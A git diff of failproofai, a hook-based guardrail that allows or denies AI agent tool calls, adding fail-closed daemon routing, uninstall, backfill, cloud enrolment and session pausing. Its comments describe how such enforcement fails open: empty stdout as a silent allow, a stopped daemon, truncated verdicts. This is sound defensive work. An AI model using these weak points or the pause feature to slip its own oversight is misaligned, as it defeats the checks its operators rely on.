FAILPROOFAI_WORKER_SOCKET is not set"); + process.exit(1); +} + +const { startWorkerServer } = await import("../src/hooks/worker-server"); +const server = startWorkerServer(socketPath, shutdown); + +server.on("error", (err) => { + console.error(`[failproofai-worker] server error: ${err.message}`); + process.exit(1); +}); + +console.error(`[failproofai-worker] listening on ${socketPath}`); + +function shutdown() { + server.close(() => process.exit(0)); +} +process.on("SIGTERM", shutdown); +process.on("SIGINT", shutdown); diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs index eed99600..6c70e835 100755 --- a/bin/failproofai.mjs +++ b/bin/failproofai.mjs @@ -62,6 +62,32 @@ async function track(name, props) { } catch {} } +/** + * Exits only once stdout/stderr have actually been flushed. + * + * Under every agent CLI a hook's stdout is a pipe, and pipe writes in Node + * are asynchronous — `process.exit()` terminates without draining what's + * still buffered. That stdout carries the decision payload, so a truncated + * write silently changes the decision the CLI observes; on the fail-closed + * path it would drop the deny reason entirely and leave the CLI with a bare + * exit code and no explanation. + */ +async function exitAfterFlush(code) { + const drain = (stream) => + new Promise((resolveDrain) => { + // A zero-length write's callback still queues behind everything + // already buffered, so this resolves after the real output lands. + if (stream.writableLength === 0 || stream.destroyed) resolveDrain(); + else stream.write("", () => resolveDrain()); + }); + try { + await Promise.all([drain(process.stdout), drain(process.stderr)]); + } catch { + // Never let a flush problem swallow the exit code itself. + } + process.exit(code); +} + // --hook [--cli ] — called by an agent CLI hook; fast path, outside // runCli() because it has its own exit code contract with the calling agent. const hookIdx = args.indexOf("--hook"); @@ -94,13 +120,131 @@ if (hookIdx >= 0) { ? cliArg : "claude"; try { + // Daemon-aware path — inert (and this whole block skipped) on every + // machine until `failproofai config` has installed failproofaid AND + // written the daemonConfigured marker (Stage 4). Until then this is + // byte-for-byte the same handleHookEvent(...) call below. + const { isDaemonConfigured, attemptDaemonHook } = await import("../src/hooks/daemon-client"); + if (isDaemonConfigured()) { + const { readStdinPayload } = await import("../src/hooks/read-stdin"); + const { evaluateHookEvent } = await import("../src/hooks/handler"); + const stdinRead = await readStdinPayload(); + + const attempt = await attemptDaemonHook({ + hookEvent: eventType, + cli, + stdin: stdinRead.payload, + // The client's own cwd IS the originating CLI session's cwd — this + // process is spawned fresh, at that location, by the calling agent + // CLI's own hook mechanism. See daemon-client.ts / PROTOCOL.md. + cwd: process.cwd(), + }); + + // On a daemon-configured machine the daemon is the ONLY evaluator. Every + // way of not getting an answer from it denies, and in-process evaluation + // is never reached from this branch — that is what "all enforcement is + // routed through the daemon" means, and a fallback here would be a second + // policy engine reachable by breaking the first. + // + // The two failures still differ in what the USER has to do, so they are + // told apart in the message and nowhere else: + // + // protocol-mismatch: a daemon answered, so it is alive; the CLI and the + // daemon are different versions, which is what an `npm update` that + // has not been followed by `failproofai config` looks like. The remedy + // is an upgrade, and naming it is the difference between a one-command + // fix and a support ticket. `daemonVersionSkew()` has already been + // hinting this on every CLI command. + // + // unreachable: nothing answered. A stopped service, a deleted socket and + // deliberate tampering are indistinguishable from here — and a machine + // where stopping one service silently disables every guardrail is not + // a guarded machine. + let result; + if (attempt.ok) { + result = attempt.response; + } else { + const reason = + attempt.failure === "protocol-mismatch" + ? "failproofaid is running a different protocol version than this CLI, so it " + + "cannot evaluate this call. Run `failproofai config` to update the daemon." + : "failproofaid could not be reached. This machine is configured to run hooks through it " + + "— check the daemon (see `failproofai config`) rather than retrying blindly."; + result = await evaluateHookEvent(eventType, cli, stdinRead.payload, { + forceDecision: { decision: "deny", reason }, + }); + } + + if (result.stdout) process.stdout.write(result.stdout); + if (result.stderr) process.stderr.write(result.stderr); + await exitAfterFlush(result.exitCode); + } + const { handleHookEvent } = await import("../src/hooks/handler"); const exitCode = await handleHookEvent(eventType, cli); // handleHookEvent already flushes its own telemetry before returning; this // is the normal, reliable exit. - process.exit(exitCode); + await exitAfterFlush(exitCode); } catch (err) { const msg = err instanceof Error ? err.message : String(err); + + // The outer fail-closed boundary. This wrote NOTHING to stdout and exited 2, + // which is a deny for Claude and Factory's non-Stop events and a silent + // ALLOW for the eight CLIs that read their verdict from stdout JSON — + // Cursor, Pi, Hermes, OpenClaw, Devin, Antigravity, Goose, and Factory's + // Stop. Everything above can land here, INCLUDING the forced-deny call that + // handles an unreachable daemon, so the one path whose entire job is to fail + // closed failed open instead. + // + // Emitted BEFORE any telemetry: `flushHookTelemetry` loops until its queue + // drains and is not bounded, so draining first meant a stuck send could hold + // the verdict back indefinitely — and a verdict that arrives after the agent + // has moved on is the same as no verdict. + const reason = + "failproofai could not evaluate this call and is failing closed. " + + `Check the failproofai installation (\`failproofai config\`). Underlying error: ${msg}`; + let emitted = false; + let denyExitCode = 2; + try { + // The real evaluator does the shaping, exactly as the unreachable-daemon + // path above does — that is what keeps this deny from being inert on some + // CLI whose contract nobody remembered here. It can only work if the + // handler module is loadable, which is why the fallback below exists. + const { evaluateHookEvent } = await import("../src/hooks/handler"); + const forced = await evaluateHookEvent(eventType, cli, "", { + forceDecision: { decision: "deny", reason }, + }); + if (forced.stdout) process.stdout.write(forced.stdout); + if (forced.stderr) process.stderr.write(forced.stderr); + emitted = true; + denyExitCode = forced.exitCode; + } catch { + // Last ditch: the module that knows each CLI's exact deny shape is itself + // the thing that just failed, so this emits the union of them — every CLI + // reads only the keys it knows and ignores the rest. Deliberately NOT a + // per-CLI table: a second copy of those twelve contracts would drift from + // the real one, and this runs only when the install is already broken. + // Imperfect enforcement beats the zero bytes that were written before. + try { + process.stdout.write( + JSON.stringify({ + decision: "block", + reason, + permission: "deny", + followup_message: reason, + hookSpecificOutput: { + hookEventName: eventType, + permissionDecision: "deny", + permissionDecisionReason: reason, + }, + }), + ); + emitted = true; + } catch {} + } + if (!emitted) console.error(`Unexpected error: ${msg}`); + else console.error(`[failproofai] failing closed: ${msg}`); + await track("hook_dispatch_error", { event_type: eventType, cli, @@ -113,8 +257,10 @@ if (hookIdx >= 0) { const { flushHookTelemetry } = await import("../src/hooks/hook-telemetry"); await flushHookTelemetry(); } catch {} - console.error(`Unexpected error: ${msg}`); - process.exit(2); + // `exitAfterFlush`, not a bare `process.exit`: this was the one exit in + // `--hook` handling that skipped it, so under load `process.exit` could + // truncate the very bytes carrying the deny. + await exitAfterFlush(denyExitCode); } } @@ -124,18 +270,8 @@ if (hookIdx >= 0) { * Error → unexpected; shows message only, exits 2 */ async function runCli() { - // Report a fresh install / upgrade. Deliberately here rather than at module - // scope: everything above this point is the --hook fast path, which runs on - // every tool call. No-ops after the first run on a given version. - try { - const { maybeReportInstall } = await import("../lib/install-check"); - await maybeReportInstall(version); - } catch { - // never block a command on reporting - } - // --help / -h (only when not inside a subcommand that handles its own --help) - const SUBCOMMANDS = ["policies", "policy", "auth", "audit", "config"]; + const SUBCOMMANDS = ["policies", "policy", "audit", "config", "uninstall", "backfill"]; if ((args.includes("--help") || args.includes("-h")) && !SUBCOMMANDS.includes(args[0])) { const extraArgs = args.filter((a) => a !== "--help" && a !== "-h"); if (extraArgs.length > 0) { @@ -176,16 +312,20 @@ COMMANDS policies --help, -h Show this help for the policies command - auth Sign in / out of FailproofAI from the CLI. - login Email + OTP flow; writes ~/.failproofai/auth.json - logout Revoke this session and remove auth.json - whoami Print the currently authenticated identity - auth --help, -h Show this help for the auth command - audit Audit your agent's behavior, then open the dashboard at http://localhost:8020/audit audit --help, -h Show this help for the audit command + uninstall Remove failproofai from this machine: hook + entries from every agent CLI, and the daemon + service. Run this BEFORE \`npm rm -g failproofai\` + — npm runs no uninstall script, so removing the + package alone leaves both behind. + --purge Also delete ~/.failproofai (settings, + credentials, audit history, daemon binary) + --dry-run Show what would be removed, change nothing + --yes, -y Skip the confirmation prompt + --version, -v Print version and exit --help, -h Show this help message @@ -234,6 +374,296 @@ LINKS process.exit(0); } + // First-run onboarding — before any subcommand runs its own work. + // + // On a machine that has never been set up, the first thing the user typed is + // almost never the thing they need first, so we run the wizard and then let + // their original command proceed. Exemptions matter more than the rule: + // + // --hook never reaches here (it exits above) — it runs on every + // tool call, and a wizard on that path would hang an agent + // --version/--help answering "what is this" must not require setup + // config IS the wizard + // policies/policy explicit configuration actions. Intercepting these would + // fight the intent the user just stated, and would break + // non-interactive scripts that call them to do setup. + // + // `maybeFirstRunConfigure` is itself a no-op on a configured machine, on a + // non-TTY, and under sudo — so this is a cheap check, not a second gate. + // Layout check, before onboarding decides anything. A home written by an + // older layout is reset here — visibly, in a real command the user typed — + // rather than from a hook, which runs unattended once per tool call. A home + // written by a NEWER layout stops the command instead: that data is fine and + // an upgrade would read it, so deleting it would destroy something + // recoverable. + // + // `audit --scheduled` is the exception, and it takes the HOOK's branch: it is + // spawned by failproofaid on a timer, so "visibly, in a real command the user + // typed" is exactly what it is not. `checkLayoutForCli()` deletes + // config.toml and credentials.toml (see `resettablePaths`), so letting a + // background process reach it would silently revoke a user's + // `[telemetry] enabled = false`, erase their cloud enrolment, and switch off + // `[audit] auto` — the setting that scheduled the run — with the explanation + // going only to the service journal. Reachable on every machine at the next + // LAYOUT_VERSION bump, when a home carrying `auto = true` is by definition + // stale. Verified live: one scheduled tick took a home's whole config. + // + // `--help` / `--version` take the same exemption `first-run-gate.ts` gives + // them, and for a stronger reason. Those two answer "what is this / how do I + // use it"; the subcommands that parse their own help (`policies --help`) fall + // past the help block above and reach here, so without this a user typing + // `failproofai policies --help` had their home reset by a question. The + // adjacent, far less destructive first-run gate exempted help from the start. + let layoutWasReset = false; + { + const isHelpOrVersion = + args.includes("--help") || args.includes("-h") || args.includes("--version") || args.includes("-v"); + if (args[0] === "audit" && args.includes("--scheduled")) { + const { layoutWarningForHook } = await import("../src/hooks/fp-reset"); + const warning = layoutWarningForHook(); + if (warning) { + // Exit 1, not 75: 75 means "another audit holds the lock" and is retried + // in fifteen minutes, which here would just re-warn four times an hour + // forever. A stale home is a real failure that `failproofai config` + // fixes, so it is reported and retried at the ordinary cadence. + console.error(warning); + process.exit(1); + } + } else if (!isHelpOrVersion) { + const { checkLayoutForCli } = await import("../src/hooks/fp-reset"); + const check = await checkLayoutForCli(); + for (const line of check.lines) console.error(line); + if (check.fatal) process.exit(1); + layoutWasReset = check.didReset; + } + } + + // Report a fresh install / upgrade. AFTER the layout check above, never + // before: this writes the `last-version` marker, and while that file lived at + // the root of the home it was one of the landmarks `detectLayout()` reads as + // "layout 1". Running first meant the CLI created the file and then read it + // back as evidence of an old layout, so every genuinely fresh machine had its + // very first command open with "failproofai reorganised … Removed 1 item(s) + // from the old layout." Nothing was lost — there was nothing there — but + // training every new user to ignore that banner is expensive given what it + // says on a real layout-1 home. The file has also moved under `state/`, so + // the two are independent now; the order is kept because it is the correct + // one regardless. + // + // Deliberately not at module scope: everything above the CLI entry is the + // --hook fast path, which runs on every tool call. No-ops after the first run + // on a given version. + try { + const { maybeReportInstall } = await import("../lib/install-check"); + await maybeReportInstall(version); + } catch { + // never block a command on reporting + } + + const { shouldOfferFirstRun } = await import("../src/hooks/first-run-gate"); + if (shouldOfferFirstRun(args) || layoutWasReset) { + try { + const { maybeFirstRunConfigure } = await import("../src/hooks/configure-wizard"); + // `audit` runs its own scan immediately after this returns; firing the + // post-setup audit too would scan the whole history twice in a row. + // + // `force` after a reset: the home's policy config is gone, but the agent + // CLIs' settings files were deliberately left alone, so `isConfigured()` + // still reads true off `hasGlobalHooks` and setup would be skipped — + // leaving hooks firing against no policies, silently and permanently. + await maybeFirstRunConfigure( + {}, + { postSetupAudit: args[0] !== "audit", force: layoutWasReset }, + ); + } catch { + // Onboarding is never allowed to block the command the user actually typed. + } + } + + // backfill [--since ] [--dry-run] + // + // Hands off to the daemon rather than doing the work: the cursors it rewinds + // are held in memory by the RUNNING collector, which would write them back + // over. Every precondition a person can get wrong is still checked HERE, + // synchronously, because reporting success and leaving the real failure in the + // journal is what already cost twenty minutes on a live machine. + if (args[0] === "backfill") { + const subArgs = args.slice(1); + if (subArgs.includes("--help") || subArgs.includes("-h")) { + console.log(` +failproofai backfill — re-send history the collector has already read past + +USAGE + failproofai backfill [--since ] [--dry-run] + +WHY + The collector never re-reads a file it has a cursor for, which is right until + the dashboard's data is cleared, a machine is re-enrolled, or cursors advanced + before there was anywhere to send. Then the history exists on disk and nowhere + else, with no way to ask for it again. + + Re-sending is safe: redaction is deterministic, so a re-sent event hashes + identically to its first send and collapses into the row already there. + +OPTIONS + --since How far back. \`30d\`, \`6m\`, or \`YYYY-MM-DD\`. + Default: 30 days. + --dry-run Report what would be re-read and change nothing. + + Which streams are sent follows [collector] in ~/.failproofai/config.toml — + a backfill never sends something your config says you do not want. +`); + process.exit(0); + } + + const KNOWN = new Set(["--since", "--dry-run"]); + const unknown = subArgs.find((a, i) => a.startsWith("-") && !KNOWN.has(a) && subArgs[i - 1] !== "--since"); + if (unknown) { + throw new CliError(`Unexpected argument: ${unknown}\nRun \`failproofai backfill --help\` for usage.`); + } + + let sinceMs; + const sinceIdx = subArgs.indexOf("--since"); + if (sinceIdx >= 0) { + const raw = subArgs[sinceIdx + 1]; + if (!raw || raw.startsWith("-")) throw new CliError("Missing value after --since."); + // `30d` / `6m` / an ISO date. Rejected rather than guessed at: silently + // reading an unparseable window as "the default" would send a different + // amount of history than was asked for, and nothing would say so. + const rel = /^(\d+)([dmy])$/.exec(raw); + if (rel) { + const n = Number(rel[1]); + const days = rel[2] === "d" ? n : rel[2] === "m" ? n * 30 : n * 365; + sinceMs = Date.now() - days * 24 * 60 * 60 * 1000; + } else { + const t = Date.parse(raw); + if (Number.isNaN(t)) { + throw new CliError(`Could not read --since ${raw}. Use 30d, 6m, or YYYY-MM-DD.`); + } + sinceMs = t; + } + } + + lastSubcommand = "backfill"; + const { runBackfillCommand } = await import("../src/hooks/backfill-cli"); + const result = runBackfillCommand({ sinceMs, dryRun: subArgs.includes("--dry-run") }); + for (const line of result.lines) { + if (result.exitCode === 0) console.log(line); + else console.error(line); + } + await track("cli_backfill", { ok: result.exitCode === 0, dry_run: subArgs.includes("--dry-run"), explicit_since: sinceIdx >= 0 }); + lastSubcommand = null; + await exitAfterFlush(result.exitCode); + return; + } + + // uninstall [--purge] [--dry-run] [--yes|-y] + // + // Top-level, and deliberately NOT a flag on `policies`. `policies --uninstall` + // disables policies; this removes the product — hook entries across every + // agent CLI plus the root-owned daemon service — and the two must not be one + // keystroke apart. + if (args[0] === "uninstall") { + const subArgs = args.slice(1); + if (subArgs.includes("--help") || subArgs.includes("-h")) { + console.log(` +failproofai uninstall — remove failproofai from this machine + +USAGE + failproofai uninstall [--purge] [--dry-run] [--yes] + +WHAT IT REMOVES + • failproofai hook entries from every agent CLI that has them + • the failproofaid daemon service (needs sudo) + • the "require the daemon" flag — cleared FIRST, so a partial uninstall can + never leave this machine denying every tool call + +OPTIONS + --purge Also delete ~/.failproofai — settings, credentials, audit + history and the downloaded daemon binary. Off by default so a + reinstall keeps your history. + --dry-run Print what would be removed and change nothing. + --yes, -y Skip the confirmation prompt. Required when there is no TTY. + +WHY THIS EXISTS + npm runs no uninstall script, so \`npm rm -g failproofai\` removes the package + and leaves the hook entries and the service behind. Run this first, then: + npm rm -g failproofai +`); + process.exit(0); + } + + const KNOWN = new Set(["--purge", "--dry-run", "--yes", "-y"]); + const unknown = subArgs.find((a) => !KNOWN.has(a)); + if (unknown) { + throw new CliError( + `Unexpected argument: ${unknown}\nRun \`failproofai uninstall --help\` for usage.`, + ); + } + + lastSubcommand = "uninstall_command"; + const { runUninstallCommand } = await import("../src/hooks/uninstall-cli"); + const purge = subArgs.includes("--purge"); + const dryRun = subArgs.includes("--dry-run"); + const yes = subArgs.includes("--yes") || subArgs.includes("-y"); + + // Set only when the prompt actually rendered the plan, which is the one + // case where printing it again would duplicate it. + let planWasShown = false; + const result = await runUninstallCommand({ + purge, + dryRun, + yes, + cwd: process.cwd(), + // Only offered when a person can actually answer. Without a TTY the + // command requires --yes rather than assuming consent — see the module. + confirm: process.stdin.isTTY + ? async (planLines) => { + planWasShown = true; + const { selectOne } = await import("../src/hooks/tui"); + // "No" first, so the default landing position on Enter is the + // non-destructive one. + const answer = await selectOne({ + message: purge + ? "Remove failproofai and DELETE ~/.failproofai?" + : "Remove failproofai from this machine?", + body: planLines, + choices: [ + { label: "No, cancel", value: false }, + { label: purge ? "Yes, remove and purge" : "Yes, remove it", value: true }, + ], + }); + return answer === true; + } + : undefined, + }); + + // The prompt already rendered the plan as its body; re-printing it would + // show the same block twice. `planLines` is reported by the command rather + // than guessed from the text — see UninstallResult. + const skip = planWasShown ? result.planLines : 0; + for (const line of result.lines.slice(skip)) { + if (result.exitCode === 0) console.log(line); + else console.error(line); + } + // NOT after a purge. `track` resolves the instance id, and `getInstanceId()` + // lazily WRITES ~/.failproofai/state/telemetry-id — which re-created the + // whole directory seconds after the purge deleted it, leaving a machine the + // user had just wiped holding a brand-new tracking identifier and making + // the command's own "✓ deleted" line false. A purge means gone; nothing + // gets to touch the home afterwards, least of all telemetry. + if (!result.purged) { + await track("cli_uninstall_command", { + ok: result.exitCode === 0, + purge, + dry_run: dryRun, + }); + } + lastSubcommand = null; + await exitAfterFlush(result.exitCode); + return; + } + // policies [--install|-i|--uninstall|-u|--help|-h] [names...] [--scope] [--beta] [--custom|-c ] if (args[0] === "policies") { const subArgs = args.slice(1); @@ -499,19 +929,6 @@ EXAMPLES process.exit(0); } - // auth — email-OTP login flow against the FailproofAI api-server. - if (args[0] === "auth") { - lastSubcommand = "auth"; - const { runAuthCli } = await import("../src/auth/cli"); - await runAuthCli(args.slice(1)); - await track("cli_auth_invoked", { - args_count: args.length - 1, - subcommand: args[1] ?? "help", - exit_code: process.exitCode ?? 0, - }); - process.exit(process.exitCode ?? 0); - } - // audit — scan local agent-CLI history, then launch the dashboard at /audit. if (args[0] === "audit") { lastSubcommand = "audit"; @@ -702,19 +1119,183 @@ WHAT IT DOES 3. Policies — presets (combine any), Everything, or a custom pick 4. Review — confirms the exact files it will change, then applies +FAILPROOF CLOUD + failproofai config --connect --token [--machine-id ] + Connect this machine to Failproof Cloud + [--no-transcripts] decisions only, no transcripts + failproofai config --disconnect Stop pulling policy and sending activity + failproofai config --status Show connection and pause state + + One connection, two capabilities: this machine PULLS centrally-managed + policies and SENDS what its hooks decided, so the dashboard shows the fleet + it is enforcing on. Both are checked against the server before anything is + written, and reported separately — a key carrying policies:pull but not + events:add connects for policy and says exactly why the dashboard is empty. + + Tokens are stored owner-only in ~/.failproofai/, never in the service unit — + that file is world-readable. Connecting needs no sudo, and the machine id + defaults to this host's name. + + Connecting sends BOTH policy decisions and full session transcripts. A + transcript carries prompts, file contents and whatever was pasted into a + terminal — that is the point of connecting, and it is stated here rather than + buried behind a flag nobody finds. Use --no-transcripts for decisions only. + +PAUSING ENFORCEMENT (one session, always time-boxed) + failproofai config --pause Pause this directory's newest agent session (30m) + failproofai config --pause 10m Pause for a given time (max 8h; s/m/h, bare = minutes) + failproofai config --resume End the pause early + failproofai config --status Show what is paused and when it lifts + --session Target a specific session + --all With --resume, end every active pause + + A pause suspends builtin, custom and convention policies for that session + only, and always expires on its own. Cloud-managed policies keep enforcing. + Prefer flags? See \`failproofai policies --help\`. `.trimStart()); process.exit(0); } lastSubcommand = "config"; + + // --pause / --resume / --status are non-interactive session actions that + // share `config`'s surface but not the wizard. They write session state, + // never the config file — a pause that reached policies-config.json would + // be committed and outlive the session that asked for it. + // Cloud enrolment. Deliberately writes a credential file the daemon reads + // rather than an Environment= line in the service unit: that unit is + // installed world-readable (0644, /etc/systemd/system), so a token there + // would be readable by every local user. Keeping it out also means no + // sudo, and lets an already-installed daemon be connected. + const connectIdx = args.indexOf("--connect"); + const wantsDisconnect = args.includes("--disconnect"); + if (connectIdx >= 0 || wantsDisconnect) { + if (connectIdx >= 0 && wantsDisconnect) { + throw new CliError("--connect and --disconnect cannot be combined."); + } + const valueAfter = (flag) => { + const i = args.indexOf(flag); + if (i < 0) return undefined; + const v = args[i + 1]; + if (!v || v.startsWith("-")) throw new CliError(`Missing value after ${flag}.`); + return v; + }; + let result; + if (wantsDisconnect) { + const { runDisconnectCommand } = await import("../src/hooks/cloud-enrollment-cli"); + result = runDisconnectCommand(); + } else { + const { hostname } = await import("node:os"); + const { runConnectCommand } = await import("../src/hooks/cloud-enrollment-cli"); + result = await runConnectCommand({ + url: valueAfter("--connect"), + token: valueAfter("--token"), + machineId: valueAfter("--machine-id"), + machineLabel: valueAfter("--machine-label"), + defaultMachineId: hostname(), + // Transcripts are what connecting is FOR, so they default on and the + // disclosure is made at the point of connection rather than hidden + // behind an opt-in flag most people never discover — a dashboard + // showing only decisions is the empty-dashboard problem in a + // different costume. --no-transcripts is the explicit way out, and + // `failproofai config --status` always says which is in effect. + sessions: !args.includes("--no-transcripts"), + }); + } + for (const line of result.lines) { + if (result.exitCode === 0) console.log(line); + else console.error(line); + } + await track("cli_cloud_enrollment", { + action: wantsDisconnect ? "disconnect" : "connect", + ok: result.exitCode === 0, + }); + await exitAfterFlush(result.exitCode); + return; + } + + const pauseIdx = args.indexOf("--pause"); + const wantsResume = args.includes("--resume"); + const wantsStatus = args.includes("--status"); + if (pauseIdx >= 0 || wantsResume || wantsStatus) { + const chosen = [pauseIdx >= 0 && "--pause", wantsResume && "--resume", wantsStatus && "--status"].filter(Boolean); + if (chosen.length > 1) { + throw new CliError(`${chosen.join(" and ")} cannot be combined.`); + } + const sessionIdx = args.indexOf("--session"); + if (sessionIdx >= 0 && !args[sessionIdx + 1]) { + throw new CliError("Missing session id after --session."); + } + // A bare `--pause` takes the default duration, so only treat the next + // token as a duration when it isn't another flag. + const next = pauseIdx >= 0 ? args[pauseIdx + 1] : undefined; + const duration = next && !next.startsWith("-") ? next : undefined; + + const { runPauseCommand } = await import("../src/hooks/session-pause-cli"); + const result = runPauseCommand({ + action: pauseIdx >= 0 ? "pause" : wantsResume ? "resume" : "status", + duration, + sessionId: sessionIdx >= 0 ? args[sessionIdx + 1] : undefined, + all: args.includes("--all"), + cwd: process.cwd(), + }); + // `--status` answers "what is this machine's state?", which is both + // halves: whether enforcement is paused AND whether cloud is connected. + if (wantsStatus) { + const { connectionStatusLines } = await import("../src/hooks/cloud-enrollment-cli"); + for (const line of connectionStatusLines()) console.log(line); + // Always printed, including where reports can never work: "why am I + // not getting them?" is the question --status exists to answer, and an + // omitted line answers it with silence. + console.log(""); + } + for (const line of result.lines) { + if (result.exitCode === 0) console.log(line); + else console.error(line); + } + await track("cli_pause_invoked", { + action: pauseIdx >= 0 ? "pause" : wantsResume ? "resume" : "status", + ok: result.exitCode === 0, + affected: result.affected, + }); + await exitAfterFlush(result.exitCode); + return; + } + const { runConfigureWizard } = await import("../src/hooks/configure-wizard"); const result = await runConfigureWizard(); await track("cli_configure_invoked", { applied: result.applied, - scope: result.scope ?? null, + // `target` and `scopes`, not `scope`: the wizard rework replaced that + // field and nothing caught it, because `.mjs` is outside the tsconfig + // include so `tsc --noEmit` never type-checks this file. Every + // `cli_configure_invoked` since has reported `scope: null`. + target: result.target ?? null, + scopes: result.scopes ?? [], cli_count: result.clis?.length ?? 0, + abort: result.abort ?? null, }); - process.exit(0); + // `abort` is the field `WizardAbort` exists to expose, and exiting 0 + // regardless discarded it: a fleet script could not tell "the user pressed + // Esc" from "this machine could not install the required daemon and is + // unconfigured". Cancelling is not a failure; the other two are. + await exitAfterFlush(!result.applied && result.abort && result.abort !== "cancelled" ? 1 : 0); + return; + } + + // Shared by both "unknown thing" guards below, so a mistyped SUBCOMMAND gets + // the same nearest-match treatment a mistyped flag already got. + function levenshtein(a, b) { + const m = a.length, n = b.length; + const dp = Array.from({ length: m + 1 }, (_, i) => + Array.from({ length: n + 1 }, (_, j) => (i === 0 ? j : j === 0 ? i : 0)) + ); + for (let i = 1; i <= m; i++) + for (let j = 1; j <= n; j++) + dp[i][j] = a[i - 1] === b[j - 1] + ? dp[i - 1][j - 1] + : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1]); + return dp[m][n]; } // Unknown flag guard — must appear after all known-flag branches @@ -722,20 +1303,7 @@ WHAT IT DOES const unknownFlag = args.find(a => a.startsWith("-") && !knownFlags.includes(a)); if (unknownFlag) { - function levenshtein(a, b) { - const m = a.length, n = b.length; - const dp = Array.from({ length: m + 1 }, (_, i) => - Array.from({ length: n + 1 }, (_, j) => (i === 0 ? j : j === 0 ? i : 0)) - ); - for (let i = 1; i <= m; i++) - for (let j = 1; j <= n; j++) - dp[i][j] = a[i - 1] === b[j - 1] - ? dp[i - 1][j - 1] - : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1]); - return dp[m][n]; - } - - const primary = ["--version", "--help", "--hook", "policies", "policy", "auth", "audit"]; + const primary = ["--version", "--help", "--hook", "policies", "policy", "audit"]; const closest = primary.reduce((best, flag) => { const dist = levenshtein(unknownFlag, flag); return dist < best.dist ? { flag, dist } : best; @@ -751,29 +1319,27 @@ WHAT IT DOES // Unknown subcommand guard (non-flag args that aren't a known subcommand) const unknownSubcommand = args.find(a => !a.startsWith("-") && !SUBCOMMANDS.includes(a)); if (unknownSubcommand) { + // Nearest match rather than a hardcoded "policies", which was wrong for + // every input that was not a typo of it. `auth` made that concrete: it was + // a real subcommand until this release, so an old script or plain muscle + // memory lands here, and answering "did you mean policies?" sends someone + // to the one command that has nothing to do with what they typed. + const nearest = SUBCOMMANDS.reduce( + (best, name) => { + const dist = levenshtein(unknownSubcommand, name); + return dist < best.dist ? { name, dist } : best; + }, + { name: SUBCOMMANDS[0], dist: Infinity }, + ); throw new CliError( `Unknown command: ${unknownSubcommand}\n` + - `Did you mean: failproofai policies?\n` + + `Did you mean: failproofai ${nearest.name}?\n` + `Run \`failproofai --help\` for usage details.` ); } - // First-run onboarding — on the first bare `failproofai` invocation, run the - // configure wizard (which also fires the post-setup audit) BEFORE the - // dashboard. Unlike before, we then fall through to launch the dashboard, so a - // fresh user gets: setup → audit → dashboard, and every later `failproofai` - // goes straight to the dashboard. Best-effort: any error must not block launch. - if (args.length === 0) { - try { - const { maybeFirstRunConfigure } = await import("../src/hooks/configure-wizard"); - await maybeFirstRunConfigure(); - } catch { - // First-run onboarding is non-critical; fall through to the dashboard. - } - } - // Dashboard launch — always production mode. Runs on every bare `failproofai` - // (after first-run onboarding, if any). + // (first-run onboarding, if any, already ran above). const { launch } = await import("../scripts/launch"); launch("start"); } diff --git a/bin/failproofaid-shim.mjs b/bin/failproofaid-shim.mjs new file mode 100644 index 00000000..ba38e10b --- /dev/null +++ b/bin/failproofaid-shim.mjs @@ -0,0 +1,67 @@ +#!/usr/bin/env node +/** + * `failproofaid` npm bin entry — runs the compiled daemon binary this CLI + * version downloaded into `~/.failproofai/bin`, forwarding argv and + * propagating the exit code verbatim. + * + * NOT what any service manager invokes: the systemd unit / launchd plist + * `daemon-service.ts` writes points `ExecStart`/`ProgramArguments` + * directly at the resolved binary, bypassing this shim entirely — a + * supervised service needs a direct path, not a wrapper it would have to + * keep alive itself. This shim exists only for a user (or script) + * invoking `failproofaid` by hand. + * + * The npm package deliberately ships no binary: one tarball serves every + * platform, and the four cross-compiled binaries live on the GitHub + * Release for this version (see `src/hooks/daemon-download.ts`). + * `failproofai config` is what fetches one. So "not installed" here is a + * normal state rather than a broken install, and it degrades with a + * one-line message and a non-zero exit — never a stack trace — including + * on a platform that has no binary at all (Windows). The daemon-connect + * logic in the CLI never depends on this shim: it detects "no daemon" + * independently via the socket/daemonConfigured marker. + */ +import { spawnSync } from "node:child_process"; +import { existsSync } from "node:fs"; +import { createRequire } from "node:module"; +import { homedir } from "node:os"; +import { resolve } from "node:path"; + +const requireFromHere = createRequire(import.meta.url); +const { version } = requireFromHere("../package.json"); + +function platformKey() { + const os = process.platform === "linux" ? "linux" : process.platform === "darwin" ? "darwin" : null; + const arch = process.arch === "x64" ? "x64" : process.arch === "arm64" ? "arm64" : null; + if (!os || !arch) return null; + return `${os}-${arch}`; +} + +/** + * Mirrors `resolveFailproofaidBinaryPath()` in src/hooks/daemon-service.ts. + * Deliberately its own copy: this file is plain .mjs, run by node straight + * out of the installed package, with no access to the bundled TypeScript. + */ +function resolveBinary() { + if (process.env.FAILPROOFAI_DAEMON_BINARY) return process.env.FAILPROOFAI_DAEMON_BINARY; + const downloaded = resolve(homedir(), ".failproofai", "bin", `failproofaid-${version}`); + return existsSync(downloaded) ? downloaded : null; +} + +const binaryPath = resolveBinary(); +if (!binaryPath) { + const key = platformKey(); + process.stderr.write( + key + ? `failproofaid ${version} is not installed on this machine. Run \`failproofai config\` and choose the global scope to install it.\n` + : `failproofaid is not available on ${process.platform}/${process.arch} yet — the CLI's in-process enforcement is unaffected.\n`, + ); + process.exit(1); +} + +const result = spawnSync(binaryPath, process.argv.slice(2), { stdio: "inherit" }); +if (result.error) { + process.stderr.write(`failproofaid: failed to run ${binaryPath}: ${result.error.message}\n`); + process.exit(1); +} +process.exit(result.status ?? 1); diff --git a/bun.lock b/bun.lock index bba6d413..f2943e93 100644 --- a/bun.lock +++ b/bun.lock @@ -7,7 +7,8 @@ "dependencies": { "html-to-image": "^1.11.13", "html2canvas": "^1.4.1", - "posthog-node": "^5.37.1", + "posthog-node": "^5.47.7", + "smol-toml": "^1.7.1", "sql.js": "^1.14.1", "yaml": "^2.9.0", }, @@ -15,19 +16,19 @@ "@anthropic-ai/sdk": "^0.115.0", "@mdx-js/mdx": "^3.1.1", "@tailwindcss/postcss": "^4.3.1", - "@tanstack/react-virtual": "^3.14.3", + "@tanstack/react-virtual": "^3.14.9", "@testing-library/jest-dom": "^7.0.0", "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", - "@types/node": "26.1.1", - "@types/react": "19.2.17", + "@types/node": "26.1.2", + "@types/react": "19.2.18", "@types/react-dom": "^19.2.3", - 